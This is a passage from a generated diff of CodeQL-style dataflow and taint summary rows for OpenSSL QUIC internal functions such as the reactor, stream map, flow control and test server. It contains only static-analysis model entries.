"(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[**2]", "Argument[*0].Field[***tick_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[*0].Field[*notifier].Field[*wfd]", "Argument[*0].Field[*notifier].Field[*rfd]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[*2]", "Argument[*0].Field[**tick_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[*3]", "Argument[*0].Field[**mutex]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*tick_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[2]", "Argument[*0].Field[*tick_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[3]", "Argument[*0].Field[*mutex]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[4]", "Argument[*0].Field[*tick_deadline]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_net_read_desired", "(QUIC_REACTOR *)", "", "Argument[*0].Field[*net_read_desired]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_net_write_desired", "(QUIC_REACTOR *)", "", "Argument[*0].Field[*net_write_desired]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_r", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[*1]", "Argument[*0].Field[*poll_r]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_r", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[1]", "Argument[*0].Field[*poll_r]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_r", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_w", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[*1]", "Argument[*0].Field[*poll_w]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_w", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[1]", "Argument[*0].Field[*poll_w]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_w", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_read", "(SSL *,void *,size_t,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_read", "(SSL *,void *,size_t,size_t *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_read", "(SSL *,void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_read", "(SSL *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_available", "(QUIC_RSTREAM *,size_t *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_rstream_available", "(QUIC_RSTREAM *,size_t *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_rstream_get_record", "(QUIC_RSTREAM *,const unsigned char **,size_t *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[*0]", "ReturnValue[*].Field[**rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[*1]", "ReturnValue[*].Field[**statm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*statm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*rbuf].Field[*alloc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*rbuf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_peek", "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_peek", "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_peek", "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_read", "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_release_record", "(QUIC_RSTREAM *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_rstream_resize_rbuf", "(QUIC_RSTREAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rbuf].Field[*alloc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_resize_rbuf", "(QUIC_RSTREAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rbuf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_set_cleanse", "(QUIC_RSTREAM *,int)", "", "Argument[1]", "Argument[*0].Field[*fl].Field[*cleanse]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_credit", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*cwm]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_credit", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*swm]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_cwm", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*cwm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_error", "(QUIC_RXFC *,int)", "", "Argument[*0].Field[*error_code]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_final_size", "(const QUIC_RXFC *,uint64_t *)", "", "Argument[*0].Field[*hwm]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_parent", "(QUIC_RXFC *)", "", "Argument[*0].Field[**parent]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_parent", "(QUIC_RXFC *)", "", "Argument[*0].Field[*parent]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_rwm", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*rwm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_swm", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*swm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_has_cwm_changed", "(QUIC_RXFC *,int)", "", "Argument[*0].Field[*has_cwm_changed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[**5]", "Argument[*0].Field[***now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[*1]", "Argument[*0].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[*5]", "Argument[*0].Field[**now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*cur_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*cwm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*max_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[4]", "Argument[*0].Field[*now]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[5]", "Argument[*0].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[**3]", "Argument[*0].Field[***now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0].Field[**now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cur_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cwm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*max_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*now]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_on_retire", "(QUIC_RXFC *,uint64_t,OSSL_TIME)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_rxfc_on_rx_stream_frame", "(QUIC_RXFC *,uint64_t,int)", "", "Argument[1]", "Argument[*0].Field[**parent].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_on_rx_stream_frame", "(QUIC_RXFC *,uint64_t,int)", "", "Argument[1]", "Argument[*0].Field[*hwm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_on_rx_stream_frame", "(QUIC_RXFC *,uint64_t,int)", "", "Argument[1]", "Argument[*0].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_set_max_window_size", "(QUIC_RXFC *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_set_diag_title", "(SSL_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**qlog_title]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_set_diag_title", "(SSL_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**qlog_title]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_set_options", "(SSL *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_add", "(QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *)", "", "Argument[*3]", "Argument[*0].Field[**blind_ctx].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_add", "(QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *)", "", "Argument[3]", "Argument[*0].Field[**blind_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_add", "(QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_lookup", "(QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *)", "", "Argument[*1]", "Argument[*0].Field[**blind_ctx].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_lookup", "(QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *)", "", "Argument[1]", "Argument[*0].Field[**blind_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_adjust_iov", "(size_t,OSSL_QTX_IOVEC *,size_t)", "", "Argument[0]", "Argument[*1].Field[*buf_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_append", "(QUIC_SSTREAM *,const unsigned char *,size_t,size_t *)", "", "Argument[2]", "Argument[*0].Field[*ring_buf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_append", "(QUIC_SSTREAM *,const unsigned char *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_get_buffer_avail", "(QUIC_SSTREAM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_sstream_get_buffer_size", "(QUIC_SSTREAM *)", "", "Argument[*0].Field[*ring_buf].Field[*alloc]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_get_buffer_used", "(QUIC_SSTREAM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_sstream_get_cur_size", "(QUIC_SSTREAM *)", "", "Argument[*0].Field[*ring_buf].Field[*head_offset]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_get_final_size", "(QUIC_SSTREAM *,uint64_t *)", "", "Argument[*0].Field[*ring_buf].Field[*head_offset]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_get_stream_frame", "(QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_new", "(size_t)", "", "Argument[0]", "ReturnValue[*].Field[*ring_buf].Field[*alloc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_new", "(size_t)", "", "Argument[0]", "ReturnValue[*].Field[*ring_buf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_set_buffer_size", "(QUIC_SSTREAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*ring_buf].Field[*alloc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_set_buffer_size", "(QUIC_SSTREAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*ring_buf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_set_cleanse", "(QUIC_SSTREAM *,int)", "", "Argument[1]", "Argument[*0].Field[*cleanse]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_iter_init", "(QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int)", "", "Argument[*0].Field[**first_stream]", "Argument[*0].Field[**stream]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_iter_init", "(QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int)", "", "Argument[*0].Field[*first_stream]", "Argument[*0].Field[*stream]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_iter_init", "(QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int)", "", "Argument[1]", "Argument[*0].Field[*qsm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_alloc", "(QUIC_STREAM_MAP *,uint64_t,int)", "", "Argument[1]", "ReturnValue[*].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_alloc", "(QUIC_STREAM_MAP *,uint64_t,int)", "", "Argument[2]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_get_accept_queue_len", "(QUIC_STREAM_MAP *,int)", "", "Argument[*0].Field[*num_accept_bidi]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_get_accept_queue_len", "(QUIC_STREAM_MAP *,int)", "", "Argument[*0].Field[*num_accept_uni]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_get_total_accept_queue_len", "(QUIC_STREAM_MAP *)", "", "Argument[*0].Field[*num_accept_bidi]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_get_total_accept_queue_len", "(QUIC_STREAM_MAP *)", "", "Argument[*0].Field[*num_accept_uni]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[**2]", "Argument[*0].Field[***get_stream_limit_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[*2]", "Argument[*0].Field[**get_stream_limit_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[*3]", "Argument[*0].Field[**max_streams_bidi_rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[*4]", "Argument[*0].Field[**max_streams_uni_rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[1]", "Argument[*0].Field[*get_stream_limit_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[2]", "Argument[*0].Field[*get_stream_limit_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[3]", "Argument[*0].Field[*max_streams_bidi_rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[4]", "Argument[*0].Field[*max_streams_uni_rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[5]", "Argument[*0].Field[*is_server]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_notify_reset_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_notify_reset_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t)", "", "Argument[2]", "Argument[*0].Field[**rr_cur].Field[*peer_reset_stream_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_notify_reset_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t)", "", "Argument[2]", "Argument[*1].Field[*peer_reset_stream_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_peek_accept_queue", "(QUIC_STREAM_MAP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_stream_map_peek_accept_queue", "(QUIC_STREAM_MAP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_stream_map_push_accept_queue", "(QUIC_STREAM_MAP *,QUIC_STREAM *)", "", "Argument[*1].Field[*accept_node]", "Argument[*0].Field[*accept_list].Field[**prev]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_reset_stream_send_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_reset_stream_send_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[2]", "Argument[*0].Field[**rr_cur].Field[*reset_stream_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_reset_stream_send_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[2]", "Argument[*1].Field[*reset_stream_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_schedule_stop_sending", "(QUIC_STREAM_MAP *,QUIC_STREAM *)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_set_rr_stepping", "(QUIC_STREAM_MAP *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rr_stepping]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_stop_sending_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_stop_sending_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[2]", "Argument[*0].Field[**rr_cur].Field[*stop_sending_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_stop_sending_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[2]", "Argument[*1].Field[*stop_sending_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_update_state", "(QUIC_STREAM_MAP *,QUIC_STREAM *)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_thread_assist_init_start", "(QUIC_THREAD_ASSIST *,QUIC_CHANNEL *)", "", "Argument[0]", "Argument[*0].Field[**t].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_thread_assist_init_start", "(QUIC_THREAD_ASSIST *,QUIC_CHANNEL *)", "", "Argument[1]", "Argument[*0].Field[*ch]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_new", "(const QUIC_TLS_ARGS *)", "", "Argument[*0]", "ReturnValue[*].Field[*args]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_new", "(const QUIC_TLS_ARGS *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_new", "(const QUIC_TLS_ARGS *)", "", "Argument[0]", "ReturnValue[*].Field[*args]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_set_transport_params", "(QUIC_TLS *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**local_transport_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_set_transport_params", "(QUIC_TLS *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*local_transport_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_set_transport_params", "(QUIC_TLS *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*local_transport_params_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get0_rbio", "(QUIC_TSERVER *)", "", "Argument[*0].Field[*args].Field[**net_rbio]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get0_rbio", "(QUIC_TSERVER *)", "", "Argument[*0].Field[*args].Field[*net_rbio]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get0_ssl_ctx", "(QUIC_TSERVER *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get0_ssl_ctx", "(QUIC_TSERVER *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get_channel", "(QUIC_TSERVER *)", "", "Argument[*0].Field[**ch]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get_channel", "(QUIC_TSERVER *)", "", "Argument[*0].Field[*ch]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get_terminate_cause", "(const QUIC_TSERVER *)", "", "Argument[*0].Field[**ch].Field[*terminate_cause]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_is_handshake_confirmed", "(const QUIC_TSERVER *)", "", "Argument[*0].Field[**ch].Field[*handshake_confirmed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_new", "(const QUIC_TSERVER_ARGS *,const char *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_new", "(const QUIC_TSERVER_ARGS *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*args]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_read", "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_read", "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_read", "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_read", "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_max_early_data", "(QUIC_TSERVER *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[**tls].Field[*max_early_data]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_msg_callback", "(QUIC_TSERVER *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[**ch].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, 